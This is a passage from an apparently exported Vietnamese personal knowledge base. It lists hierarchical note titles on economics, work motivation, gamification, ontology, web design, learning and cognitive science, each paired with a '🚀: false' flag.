"⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Trong tiếng Anh, nghĩa gốc của amateur (nghiệp dư) là những người làm vì đam mê, chứ không phải là trình độ còn non" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Để xác định xem cái gì nên và không nên được mua bằng tiền, cần phải xác định được những giá trị nào chi phối các lĩnh vực khác nhau trong đời sống cá nhân và xã hội" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Chúng ta đi tìm hạnh phúc trên những máy chạy bộ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Cường độ của nhu cầu quyết định thứ tự ưu tiên của các giá trị" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Game hoá", + "Chuỗi kỹ năng mô tả những khoảnh khắc ý nghĩa xảy ra trong quá trình chơi trò chơi, chứ không chỉ là những cơ chế đơn thuần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Game hoá", + "Chơi là sự thử nghiệm các kỹ năng mới học trong những môi trường mới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Game hoá", + "Những game có yếu tố bản đồ mới là những game tạo thành một cộng đồng nhiều ý tưởng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Game hoá", + "Những thứ lặp đi lặp lại có thể game hoá được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Game hoá", + "Đa số các dự án game hoá chỉ tập trung vào cạnh tranh thi đua, chứ không tập trung vào bản đồ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Người khác sẽ tham gia giúp đỡ khi họ thấy việc mình làm gần thoả mãn nhu cầu của họ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Phản hồi và sự giúp đỡ trả lại là những thứ xa xỉ với người được giúp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Sau khi nhu cầu được giải quyết xong ta sẽ nghĩ ngay tới việc giải quyết vấn đề tiếp theo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Sự giúp đỡ người khác làm con người cảm thấy cuộc sống có ý nghĩa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Sự hợp tác xã hội của ta hướng đến việc chia việc để cùng tạo ra sản phẩm chung, chứ không phải ở việc giúp đỡ qua lại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Sự tập trung đòi hỏi người khác phải lo cho những nhu cầu khác của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Trong quá trình tập trung, sự chăm lo của người khác với những nhu cầu khác của mình sẽ trở nên vô hình và cần trở nên vô hình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Việc giúp đỡ người đã giúp mình không đủ khẩn cấp hoặc nhiều cảm hứng bằng việc giải quyết vấn đề tiếp theo, hoặc đủ cảm hứng bằng việc cải tiến giải pháp hiện có" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Con người chuyển từ kỹ năng này sang kỹ năng khác ngay cả khi họ chỉ có một khái niệm mơ hồ về đích đến cuối cùng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Con người phản ứng mãnh liệt nhất khi bị đụng đến điểm đau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Con người sẽ theo đuổi kỹ năng mới với giá trị tiềm năng trong phạm vi dự đoán" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Dopamine is released in anticipation of a reward" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Một tổ chức đáng làm tạo ra được động lực nội sinh ở nhân viên" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Những nhiệm vụ thách thức làm nhiều người thấy thú vị hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Những thứ khẩn cấp thường không phải là những thứ thú vị" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Phần thưởng ngoại sinh làm tăng sự tập trung vào đích đến và giảm sự quan sát tới những thứ khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Sự hứng thú tạo ra sự tập trung" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Thứ muốn làm bây giờ phụ thuộc vào cái mình đang nghĩ đến" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Tình trạng thiếu sự phản hồi xảy ra thường xuyên, đến nỗi nhiều người không còn kỳ vọng vào việc mình sẽ nhận được sự phản hồi nữa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Việc nghĩ ra ý tưởng tốt hơn làm ta muốn theo đuổi nó hơn là làm tiếp thứ hiện tại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Để tạo ra sự thú vị cần sự bất ngờ. Để tạo nên chuyên gia cần môi trường ổn định" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "❓Tại sao một công việc có ý nghĩa là không đủ để một người quyết định sẽ làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Môi trường làm việc", + "Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Môi trường làm việc", + "Môi trường chuyên nghiệp tạo cảm giác tội lỗi khi thư giãn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Môi trường làm việc", + "Sự chuyên nghiệp là việc ta tách bạch cuộc sống và công việc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Môi trường làm việc", + "Việc làm việc tại nhà sẽ cho nhiều khoảnh khắc loé sáng ý tưởng hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Môi trường làm việc", + "Việc thay đổi mối quan hệ từ người làm chủ – nhân viên sang nhà đầu tư – người sáng lập phù hợp hơn với những công việc đòi hỏi sự sáng tạo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Môi trường làm việc", + "❓Tại sao tiền lại liên quan đến hệ thống cấp bậc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Một học giả chỉ là cách mà một cái thư viện tạo ra một cái thư viện khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Thang đo năng lực dựa trên việc có thể đưa ra phân tích và trực giác đúng hay không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tiền là cách để biến việc đáp ứng nhu cầu của người khác thành vấn đề cần giải quyết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Khi làm xong một việc hiệu quả hơn, ít khi nào ta dùng thời gian rảnh để chơi, mà sẽ kiếm thêm việc để làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Những app quản lý công việc mang trong mình những giá trị văn hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Những công việc chưa hoàn thành sẽ ám ảnh ta (hiệu ứng Zeigarnik)" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Những tác giả của những app quản lý công việc cũng cảm thấy app của họ không thể giúp quản lý công việc một cách hiệu quả được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Nỗi ám ảnh với sự hiệu quả có thể đến từ nỗi sợ chết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Sự chuyên môn hoá khiến ta không được tự đáp ứng nhu cầu của mình mà phải đáp ứng nhu cầu người khác để họ đáp ứng nhu cầu của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Về mặt nhận thức, con người tương lai của chính mình không liên quan gì đến mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Việc khai thác điểm yếu của con người đem lại lợi nhuận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "A problem well stated is half solved" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Bản đồ không phải là vùng đất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Chúng ta thường nhìn hiện tại và tương lai bằng những khái niệm học trong quá khứ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Dữ liệu không phải thông tin, thông tin không phải kiến thức, kiến thức không phải hiểu biết, hiểu biết không phải thông thái" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Giả định đến từ trực giác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Nhiều khi để trả lời được một câu hỏi ta phải tìm hiểu cả một lĩnh vực" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Những câu chuyện kể ra có quyền lực tạo thành thực tại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Những niềm tin sai tạo ra một vùng chết các ý tưởng chưa được khám phá xung quanh nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Nếu muốn kiếm được ý tưởng mới với nhiều người, nơi dễ kiếm là xung quanh những niềm tin sai phổ biến" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Phân loại", + "Có 4 loại phân loại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Phân loại", + "Phân loại, dán nhãn, khai báo metadata là những cái tên khác nhau cho cùng một thứ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Rhizome" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Thứ làm tốt công việc của mình là thứ ta không nhận ra sự tồn tại của nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Vật thể", + "Hoán dụ giúp ta vẽ được những thứ trừu tượng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Vật thể", + "Muốn nhìn thấy siêu vật thì cần phải có một hệ thống liên kết các vật thể" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Vật thể", + "Siêu vật là những vật mà ta khi ta chạm vào những vị trí khác nhau của nó thì không thấy sự liên quan giữa chúng, làm ta nghĩ chúng là những vật khác nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Vật thể", + "Sử dụng nhiều ẩn dụ khác nhau sẽ cho ta thấy vật thể tốt hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Vật thể", + "Ta mô phỏng thế giới qua những vật thể" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Bản thể luận", + "Vật thể", + "Vùng đất thường là siêu vật" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Cứ 35 ngày thì ta lại có một trải nghiệm triệu lần mới có một" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Bản chất của việc hợp tác xã hội không nằm ở mỗi chuyện làm nhẹ gánh nặng của nhau, mà còn là chuyện sắp xếp làm sao để có thể đẩy gánh nặng sang cho nhau mà không ai cảm thấy áy náy" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Chi phí chuyển đổi giữa lập trình và nghiên cứu là lớn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Con người dường như không được thiết kế để quá trình hỏi trở nên dễ dàng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Có những câu hỏi ta rất muốn có câu trả lời nhưng mãi mà vẫn chưa đi google" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Khi bị hỏi là sao không google, nói rằng có thể làm họ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Khi khoảnh khắc loé sáng ý tưởng đến vào lúc ta đang tập trung làm việc khác, nó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Nội việc đặt câu hỏi thôi đã đủ áp lực rồi, chứ đừng nói đến việc đi google hay đặt câu hỏi tốt hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Sự tập trung làm ta không thấy được bức tranh tổng thể" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Ta dường như khó có thể chuyển trạng thái từ việc đọc lướt sang việc đọc cẩn thận một cách suôn sẻ và tự nhiên" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Chúng ta không chọn phương án tối ưu khi chọn sai cũng chẳng hại gì" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Các tập quán chung giúp người dùng sử dụng web dễ dàng hơn, còn thôi thúc sáng tạo khỏi lối mòn đó là mãnh liệt" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Công việc làm slide ít khi nào được gộp vào trong công việc sản xuất nội dung" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Kể cả khi ta biết một trang web trả lời câu hỏi cho ta, thì việc đọc cũng nhức đầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Link gây xao nhãng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Logo nên được thiết kế một cách độc lập với môi trường, vì nó sẽ được sử dụng ở bất kỳ môi trường nào" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Mental model là những niềm tin của người dùng vào hệ thống" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Một trang web giúp người dùng tới ngay được nơi họ cần đến làm họ cảm thấy mình có thêm tính tự chủ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Người dùng bấm bao nhiêu lần cũng được, miễn là tự tin mình đang đi đúng hướng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Người dùng dành nhiều thời gian ở website khác hơn website của bạn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Slide nhiều chữ thì không hấp dẫn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Trải nghiệm trên web giống như trải nghiệm đến một nơi xa lạ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Thiết kế", + "Tính khả dụng liên quan đến con người và cách họ hiểu và sử dụng mọi thứ, chứ không phải liên quan đến công nghệ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Việc chất vấn quan điểm của mình dễ dàng hơn nhiều khi có ai đó nói ra sự chất vấn đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Việc mò mẫm vui, đỡ phải nghĩ và thường là hiệu quả hơn là đọc hướng dẫn cẩn thận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Gánh nặng nhận thức, thiết kế", + "Vì ta thường cần người khác cho ý kiến về suy nghĩ của ta, nên ta thường không cho được người khác ý kiến về suy nghĩ của họ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "Chuyên nghiệp (professional) và chuyên gia (expertise) là hai vấn đề khác nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "Chúng ta săn tìm và tích trữ thông tin giống như săn tìm và tích trữ lương thực" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "Hiểu biết không chỉ để mình làm một cái gì đó, mà còn để mình không làm một cái gì đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "Học là quá trình cấu trúc hoá những thứ phi cấu trúc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "Khai vấn là để kích thích suy nghĩ, còn tư vấn là đưa ý kiến của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "Knowledge forms when we accumulate, mix, connect and visualize information" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "Lúc mới học thì cần chất lượng hơn là nhanh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "Nghịch lý triển ngôn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "Tư duy gặng xét (critical thinking) đòi hỏi ta phải bảo vệ những luận điểm ta thấy chưa được bảo vệ thoả đáng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "Tự đặt ra các câu hỏi ngớ ngẩn chính là cách bạn học lại những gì bạn tưởng là mình đã hiểu rõ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "Đào tạo (teaching, training) là để lấy kiến thức, quy trình, còn huấn luyện (coach) là để ra sản phẩm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Học tập, hiểu biết", + "❓Tác giả của một bài viết không bao giờ vét cạn được mọi từ khoá mà người đọc có thể sẽ nhập vào máy tìm kiếm để được gợi ý tới bài viết đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Bộ não được thiết kế để loại bỏ mối nguy hiểm ngay bây giờ, không phải trong tương lai" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Có những vấn đề lúc cần nói ra thì không không nghĩ ra nhưng vẫn cảm thấy chưa vét cạn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Có sự chênh lệch về sự thoải mái trong việc hỏi và việc trả lời" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Framework thường dùng cho nhiều tình huống khác nhau, trong khi model thường dùng cho một tình huống cụ thể" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Hiểu biết sâu làm ta thấy khoái cảm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Hot cognition và cold cognition" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Hệ thống 1 dựa vào trí nhớ dài hạn. Hệ thống 2 dựa vào trí nhớ ngắn hạn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Con người cố gắng nhìn ra mẫu hình, kể cả khi đó chỉ là sự ngẫu nhiên" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Con người thường cố gắng tìm ra mẫu hình, kể cả khi nó không có ở đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Cờ vua trông như là tư duy logic, nhưng thật ra chỉ là nhìn thấy mẫu hình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Trực giác là việc nhìn ra mẫu hình không hơn không kém" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Trực giác là việc đi tới kết luận mà không thông qua suy luận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Não con người thay đổi rất chậm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Não cần thời gian để kết nối các ý tưởng lại với nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Bất hoà nhận thức giúp chúng ta hiểu sâu sắc hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Càng mất nhiều ta càng học nhiều" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Các nghịch lý tạo ra bất hoà nhận thức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Cảm xúc không chỉ khiến ta nhớ tốt hơn, mà còn điều hướng những suy nghĩ tự động" +] + +🚀: false +[ + "", + 